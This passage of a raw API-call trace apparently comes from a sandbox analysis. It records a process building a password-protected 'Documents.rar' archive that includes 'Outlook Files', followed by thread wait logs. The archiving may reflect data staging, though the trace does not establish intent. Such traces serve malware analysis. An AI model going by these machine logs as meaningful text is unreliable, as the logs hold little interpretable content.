Size=0x20) returned 0x3b65d10 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.192] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.192] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.192] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.192] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x2c, lpOverlapped=0x0) returned 1 [0069.192] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.192] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.192] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4709a6 [0069.192] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.192] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.192] FindFirstFileW (in: lpFileName="qdf-_fT", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.192] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.192] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.192] GetTickCount () returned 0xa67937 [0069.192] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.192] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.192] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.192] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.192] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Outlook Files") returned 13 [0069.192] SetWindowTextW (hWnd=0x10280, lpString="qdf-_fT") returned 1 [0069.192] GetTickCount () returned 0xa67937 [0069.192] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.192] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.192] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.193] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.193] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.193] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4709a6 [0069.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=38, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4709cc [0069.193] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.193] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.193] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.193] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655526, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4709a6 [0069.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4709a6 [0069.193] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.193] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.193] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.193] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.193] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.193] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x26, lpOverlapped=0x0) returned 1 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.193] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4709cc [0069.193] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.193] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.193] FindFirstFileW (in: lpFileName="XRS5ksD", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.193] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.193] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.194] GetTickCount () returned 0xa67937 [0069.194] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.194] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.194] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.194] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.194] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="qdf-_fT") returned 7 [0069.194] SetWindowTextW (hWnd=0x10280, lpString="XRS5ksD") returned 1 [0069.194] GetTickCount () returned 0xa67937 [0069.194] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.194] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.194] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.194] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd830*=0) returned 0x4709cc [0069.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=38, lpDistanceToMoveHigh=0x1cd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd800*=0) returned 0x4709f2 [0069.194] CryptUnprotectMemory (in: pDataIn=0x1cd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd6b0) returned 1 [0069.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.194] CryptUnprotectMemory (in: pDataIn=0x1cd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd090) returned 1 [0069.194] CryptUnprotectMemory (in: pDataIn=0x1cd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd190) returned 1 [0069.194] CryptUnprotectMemory (in: pDataIn=0x1cd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd310) returned 1 [0069.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=4655564, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4709cc [0069.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9ed0*=0) returned 0x4709cc [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d10 [0069.195] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d40 [0069.195] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65d70 [0069.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d40 | out: hHeap=0x2e0000) returned 1 [0069.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d10 | out: hHeap=0x2e0000) returned 1 [0069.195] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65ce0, Size=0x48) returned 0x39db40 [0069.195] WriteFile (in: hFile=0x198, lpBuffer=0x39db43*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1c8510, lpOverlapped=0x0 | out: lpBuffer=0x39db43*, lpNumberOfBytesWritten=0x1c8510*=0x26, lpOverlapped=0x0) returned 1 [0069.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65d70 | out: hHeap=0x2e0000) returned 1 [0069.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.195] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd7f0*=0) returned 0x4709f2 [0069.195] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.195] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.195] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.195] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.195] HeapFree (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x13cf0040) Thread: id = 29 os_tid = 0xa68 Thread: id = 34 os_tid = 0x6e0 Thread: id = 35 os_tid = 0xa88 Thread: id = 36 os_tid = 0xaa8 Thread: id = 168 os_tid = 0x918 [0067.741] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.745] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.747] SetEvent (hEvent=0x1a4) returned 1 [0067.747] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.748] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.749] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.751] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.752] SetEvent (hEvent=0x1a4) returned 1 [0067.755] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.825] SetEvent (hEvent=0x1a4) returned 1 [0067.825] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.912] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.950] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.002] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.063] SetEvent (hEvent=0x1a4) returned 1 [0068.063] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.136] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] SetEvent (hEvent=0x1a4) returned 1 [0068.201] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.266] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.339] SetEvent (hEvent=0x1a4) returned 1 [0068.339] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.395] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.476] SetEvent (hEvent=0x1a4) returned 1 [0068.476] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.539] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.606] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.686] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.752] SetEvent (hEvent=0x1a4) returned 1 [0068.752] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.815] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.863] SetEvent (hEvent=0x1a4) returned 1 [0068.863] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.924] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.056] SetEvent (hEvent=0x1a4) returned 1 [0069.091] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 169 os_tid = 0x6a4 [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] SetEvent (hEvent=0x1a4) returned 1 [0067.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.950] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.004] SetEvent (hEvent=0x1a4) returned 1 [0068.004] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.063] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.136] SetEvent (hEvent=0x1a4) returned 1 [0068.136] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.268] SetEvent (hEvent=0x1a4) returned 1 [0068.268] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.338] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.396] SetEvent (hEvent=0x1a4) returned 1 [0068.396] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.474] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.540] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.606] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.687] SetEvent (hEvent=0x1a4) returned 1 [0068.687] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.751] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.815] SetEvent (hEvent=0x1a4) returned 1 [0068.815] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.861] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.926] SetEvent (hEvent=0x1a4) returned 1 [0068.926] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.986] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.128] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 170 os_tid = 0x8ec [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.833] SetEvent (hEvent=0x1a4) returned 1 [0067.834] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.963] SetEvent (hEvent=0x1a4) returned 1 [0067.963] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.022] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.075] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.148] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.265] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.387] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.461] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.537] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.607] SetEvent (hEvent=0x1a4) returned 1 [0068.607] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.688] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.753] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.816] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.927] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.057] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.138] SetEvent (hEvent=0x1a4) returned 1 [0069.138] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 171 os_tid = 0x174 [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.831] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.913] SetEvent (hEvent=0x1a4) returned 1 [0067.913] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.963] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.023] SetEvent (hEvent=0x1a4) returned 1 [0068.023] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.075] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.149] SetEvent (hEvent=0x1a4) returned 1 [0068.149] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.265] SetEvent (hEvent=0x1a4) returned 1 [0068.265] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.387] SetEvent (hEvent=0x1a4) returned 1 [0068.387] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.460] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.539] SetEvent (hEvent=0x1a4) returned 1 [0068.539] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.607] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.688] SetEvent (hEvent=0x1a4) returned 1 [0068.688] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.753] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.816] SetEvent (hEvent=0x1a4) returned 1 [0068.816] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.863] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.927] SetEvent (hEvent=0x1a4) returned 1 [0068.927] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.057] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.127] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 172 os_tid = 0x8c0 [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.841] SetEvent (hEvent=0x1a4) returned 1 [0067.841] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.016] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.076] SetEvent (hEvent=0x1a4) returned 1 [0068.076] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.150] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.216] SetEvent (hEvent=0x1a4) returned 1 [0068.216] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.269] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.340] SetEvent (hEvent=0x1a4) returned 1 [0068.340] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.396] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.478] SetEvent (hEvent=0x1a4) returned 1 [0068.478] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.569] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.631] SetEvent (hEvent=0x1a4) returned 1 [0068.631] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.700] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.764] SetEvent (hEvent=0x1a4) returned 1 [0068.764] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.875] SetEvent (hEvent=0x1a4) returned 1 [0068.875] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.936] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.084] SetEvent (hEvent=0x1a4) returned 1 [0069.084] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0069.146] SetEvent (hEvent=0x1a4) returned 1 [0069.146] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) Thread: id = 173 os_tid = 0x240 [0067.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.838] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.919] SetEvent (hEvent=0x1a4) returned 1 [0067.919] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0067.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.016] SetEvent (hEvent=0x1a4) returned 1 [0068.016] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.076] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.150] SetEvent (hEvent=0x1a4) returned 1 [0068.150] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.214] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.269] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0068.340] 